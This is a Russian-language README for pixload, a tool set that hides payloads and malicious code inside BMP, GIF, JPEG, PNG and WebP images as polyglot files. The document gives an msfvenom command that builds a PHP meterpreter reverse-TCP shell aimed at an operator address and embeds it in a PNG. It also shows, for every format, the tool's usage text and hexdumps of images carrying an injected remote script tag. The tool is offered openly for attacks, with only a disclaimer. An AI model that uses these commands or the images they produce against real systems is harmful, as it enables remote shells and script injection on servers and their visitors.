
Инструменты создания/внедрения полезной нагрузки в изображения
Набор инструментов для сокрытия бэкдоров создания/внедрения полезной нагрузки в изображения.
В настоящее время поддерживаются следующие типы изображений: BMP, GIF, JPG, PNG, WebP.
Полезные ссылки для лучшего понимания pixload и вариантов его использования:
Если вы хотите закодировать полезную нагрузку таким образом, чтобы результирующий двоичный блок был одновременно корректным x86 shellcode и корректным файлом изображения, рекомендую посмотреть здесь и здесь.
Если вы хотите внедрить метасплойт-пейлоад, нужно сделать следующее:
$ msfvenom -p php/meterpreter_reverse_tcp \
LHOST=192.168.0.1 LPORT=31337 -f raw 2>/dev/null > payload.php
Отредактировать payload.php при необходимости.
Внедрить payload.php в изображение (например, png).
$ pixload-png --payload "$(cat payload.php)" payload.png
Требуются следующие Perl-модули:
GD
Image::ExifTool
String::CRC32
В системах на Debian установите эти пакеты:
sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl
На FreeBSD и DragonFlyBSD установите эти пакеты:
doas pkg install p5-GD p5-Image-ExifTool p5-String-CRC32
На OSX обратитесь к этому обходному решению
(спасибо @iosdec).
make install
docker build -t pixload .
docker run -v "$(pwd):/pixload" -it --rm pixload
$ pixload-bmp --help
Usage: pixload-bmp [OPTION]... FILE
Скрыть полезную нагрузку/вредоносный код в BMP-изображениях.
Обязательные аргументы для длинных опций обязательны и для коротких.
-P, --payload STRING задать полезную нагрузку для внедрения
-v, --version вывести версию и выйти
-h, --help вывести справку и выйти
Если выходной FILE уже существует, то полезная нагрузка будет внедрена в этот
существующий файл. В противном случае будет создан новый.
$ pixload-bmp payload.bmp
...... Создатель/Внедритель BMP-пейлоада ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Генерация выходного файла
[✔] Файл сохранён: payload.bmp
[>] Внедрение полезной нагрузки в payload.bmp
[✔] Полезная нагрузка внедрена успешно
payload.bmp: PC bitmap, OS/2 1.x format, 1 x 1 x 24, cbSize 10799, bits offset 26
00000000 42 4d 2f 2a 00 00 00 00 00 00 1a 00 00 00 0c 00 |BM/*............|
00000010 00 00 01 00 01 00 01 00 18 00 00 00 ff 00 2a 2f |..............*/|
00000020 3d 31 3b 3c 73 63 72 69 70 74 20 73 72 63 3d 2f |=1;<script src=/|
00000030 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e 3c 2f 73 |/example.com></s|
00000040 63 72 69 70 74 3e 3b |cript>;|
00000047
Смотрите страницу руководства pixload-bmp(1) для получения дополнительной информации.
$ pixload-gif --help
Usage: pixload-gif [OPTION]... FILE
Скрыть полезную нагрузку/вредоносный код в GIF-изображениях.
Обязательные аргументы для длинных опций обязательны и для коротких.
-W, --pixelwidth INTEGER (не влияет)
задать ширину пикселя для нового изображения (по умолчанию: 10799)
-H, --pixelheight INTEGER задать высоту пикселя для нового изображения (по умолчанию: 32)
-P, --payload STRING задать полезную нагрузку для внедрения
-v, --version вывести версию и выйти
-h, --help вывести справку и выйти
Опция -W, --pixelwidth не влияет, поскольку pixload-gif перезаписывает
байты ширины пикселя символами "/*", чтобы подготовить polyglot gif-изображение.
Если выходной FILE уже существует, то полезная нагрузка будет внедрена в этот
существующий файл. В противном случае будет создан новый с указанной шириной
пикселей.
$ pixload-gif payload.gif
...... Создатель/Внедритель GIF-пейлоада ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Генерация выходного файла
[✔] Файл сохранён: payload.gif
[>] Внедрение полезной нагрузки в payload.gif
[✔] Полезная нагрузка внедрена успешно
payload.gif: GIF image data, version 87a, 10799 x 32
00000000 47 49 46 38 37 61 2f 2a 20 00 80 00 00 04 02 04 |GIF87a/* .......|
00000010 00 00 00 2c 00 00 00 00 20 00 20 00 00 02 1e 84 |...,.... . .....|
00000020 8f a9 cb ed 0f a3 9c b4 da 8b b3 de bc fb 0f 86 |................|
00000030 e2 48 96 e6 89 a6 ea ca b6 ee 0b 9b 05 00 3b 2a |.H............;*|
00000040 2f 3d 31 3b 3c 73 63 72 69 70 74 20 73 72 63 3d |/=1;<script src=|
00000050 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e 3c 2f |//example.com></|
00000060 73 63 72 69 70 74 3e 3b |script>;|
00000068
Смотрите страницу руководства pixload-gif(1) для получения дополнительной информации.
$ pixload-jpg --help
Usage: pixload-jpg [OPTION]... FILE
Скрыть полезную нагрузку/вредоносный код в JPEG-изображениях.
Обязательные аргументы для длинных опций обязательны и для коротких.
-S, --section COM|DQT задать раздел для внедрения полезной нагрузки
-P, --payload STRING задать полезную нагрузку для внедрения
-v, --version вывести версию и выйти
-h, --help вывести справку и выйти
Если выходной FILE уже существует, то полезная нагрузка будет внедрена в этот
существующий файл. В противном случае будет создан новый.
$ pixload-jpg -S com payload.jpg
..... Создатель/Внедритель JPEG-пейлоада ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Генерация выходного файла
[✔] Файл сохранён: payload.jpg
[>] Внедрение полезной нагрузки в COMMENT
[✔] Полезная нагрузка внедрена успешно
payload.jpg: JPEG image data, progressive, precision 8, 1x1, components 1
00000000 ff d8 ff fe 00 25 3c 73 63 72 69 70 74 20 73 72 |.....%<script sr|
00000010 63 3d 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e |c=//example.com>|
00000020 3c 2f 73 63 72 69 70 74 3e ff db 00 43 00 01 01 |</script>...C...|
00000030 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 |................|
*
00000060 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c2 |................|
00000070 00 0b 08 00 01 00 01 01 01 11 00 ff c4 00 14 00 |................|
00000080 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000090 03 ff da 00 08 01 01 00 00 00 01 3f ff d9 |...........?..|
0000009e
$ pixload-jpg -S dqt payload.jpg
..... Создатель/Внедритель JPEG-пейлоада ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Генерация выходного файла
[✔] Файл сохранён: payload.jpg
[>] Внедрение полезной нагрузки в таблицу DQT
[✔] Полезная нагрузка внедрена успешно
payload.jpg: JPEG image data, progressive, precision 8, 1x1, components 1
00000000 ff d8 ff db 00 43 00 01 01 01 01 01 01 01 01 01 |.....C..........|
00000010 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 |................|
00000020 01 01 01 01 3c 73 63 72 69 70 74 20 73 72 63 3d |....<script src=|
00000030 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e 3c 2f |//example.com></|
00000040 73 63 72 69 70 74 3e ff c2 00 0b 08 00 01 00 01 |script>.........|
00000050 01 01 11 00 ff c4 00 14 00 01 00 00 00 00 00 00 |................|
00000060 00 00 00 00 00 00 00 00 00 03 ff da 00 08 01 01 |................|
00000070 00 00 00 01 3f ff d9 01 01 11 00 ff c4 00 14 00 |....?...........|
00000080 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000090 03 ff da 00 08 01 01 00 00 00 01 3f ff d9 |...........?..|
0000009e
Смотрите pixload-jpg(1) для получения дополнительной информации.
$ pixload-png --help
Usage: pixload-png [OPTION]... FILE
Скрыть полезную нагрузку/вредоносный код в PNG-изображениях.
Обязательные аргументы для длинных опций обязательны и для коротких.
-W, --pixelwidth INTEGER задать ширину пикселя для нового изображения (по умолчанию: 32)
-H, --pixelheight INTEGER задать высоту пикселя для нового изображения (по умолчанию: 32)
-P, --payload STRING задать полезную нагрузку для внедрения
-v, --version вывести версию и выйти
-h, --help вывести справку и выйти
Если выходной FILE уже существует, то полезная нагрузка будет внедрена в этот
существующий файл. В противном случае будет создан новый с указанной шириной пикселей.
$ pixload-png payload.png
...... Создатель/Внедритель PNG-пейлоада ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Генерация выходного файла
[✔] Файл сохранён: payload.png
[>] Внедрение полезной нагрузки в payload.png
[+] Chunk size: 13
[+] Chunk type: IHDR
[+] CRC: fc18eda3
[+] Chunk size: 9
[+] Chunk type: pHYs
[+] CRC: 952b0e1b
[+] Chunk size: 25
[+] Chunk type: IDAT
[+] CRC: c8a288fe
[+] Chunk size: 0
[+] Chunk type: IEND
[>] Внедрение полезной нагрузки в новый чанк: 'pUnk'
[✔] Полезная нагрузка внедрена успешно
payload.png: PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 00 20 00 00 00 20 08 02 00 00 00 fc 18 ed |... ... ........|
00000020 a3 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e |.....pHYs.......|
00000030 c4 01 95 2b 0e 1b 00 00 00 19 49 44 41 54 48 89 |...+......IDATH.|
00000040 ed c1 31 01 00 00 00 c2 a0 f5 4f ed 61 0d a0 00 |..1.......O.a...|
00000050 00 00 6e 0c 20 00 01 c8 a2 88 fe 00 00 00 00 49 |..n. ..........I|
00000060 45 4e 44 ae 42 60 82 00 00 00 00 00 00 00 00 00 |END.B`..........|
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000000c0 00 23 50 55 6e 4b 3c 73 63 72 69 70 74 20 73 72 |.#PUnK<script sr|
000000d0 63 3d 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e |c=//example.com>|
000000e0 3c 2f 73 63 72 69 70 74 3e eb fd 2e 9f 00 49 45 |</script>.....IE|
000000f0 4e 44 |ND|
000000f2
Смотрите страницу руководства pixload-png(1) для получения дополнительной информации.
$ pixload-webp --help
Usage: pixload-webp [OPTION]... FILE
Скрыть полезные нагрузки/вредоносный код в WebP-изображениях.
Обязательные аргументы для длинных опций обязательны и для коротких.
-P, --payload STRING задать полезную нагрузку для внедрения
-v, --version вывести версию и выйти
-h, --help вывести справку и выйти
В настоящее время нет возможности внедрить полезную нагрузку в существующее
WebP-изображение. Будет создано только новое (минимальное) WebP-изображение,
в которое будет внедрена ваша полезная нагрузка. Если выходной FILE уже
существует, полезная нагрузка будет внедрена в существующее изображение, но
это изображение будет повреждено.
$ pixload-webp payload.webp
..... Создатель/Внедритель WebP-пейлоада ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Генерация выходного файла
[✔] Файл сохранён: payload.webp
[>] Внедрение полезной нагрузки в payload.webp
[✔] Полезная нагрузка внедрена успешно
payload.webp: RIFF (little-endian) data, Web/P image
00000000 52 49 46 46 2f 2a 00 00 57 45 42 50 56 50 38 4c |RIFF/*..WEBPVP8L|
00000010 ff ff ff 00 2f 00 00 00 10 07 10 11 11 88 88 fe |..../...........|
00000020 07 00 2a 2f 3d 31 3b 3c 73 63 72 69 70 74 20 73 |..*/=1;<script s|
00000030 72 63 3d 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d |rc=//example.com|
00000040 3e 3c 2f 73 63 72 69 70 74 3e 3b |></script>;|
0000004b
Смотрите страницу руководства pixload-webp(1) для получения дополнительной информации.
WTFPL версия 2. Смотрите LICENSE для получения дополнительной информации.
Автор не несёт никакой ответственности за ненадлежащее использование этого инструмента; помните, что атака на цели без предварительного согласия незаконна и карается по закону.
BTC: bc1qj4g98svq6qh3q2ap37v52nsvusa76c3cnmcdmx
PAYPAL: [email protected]
Высоко ценим.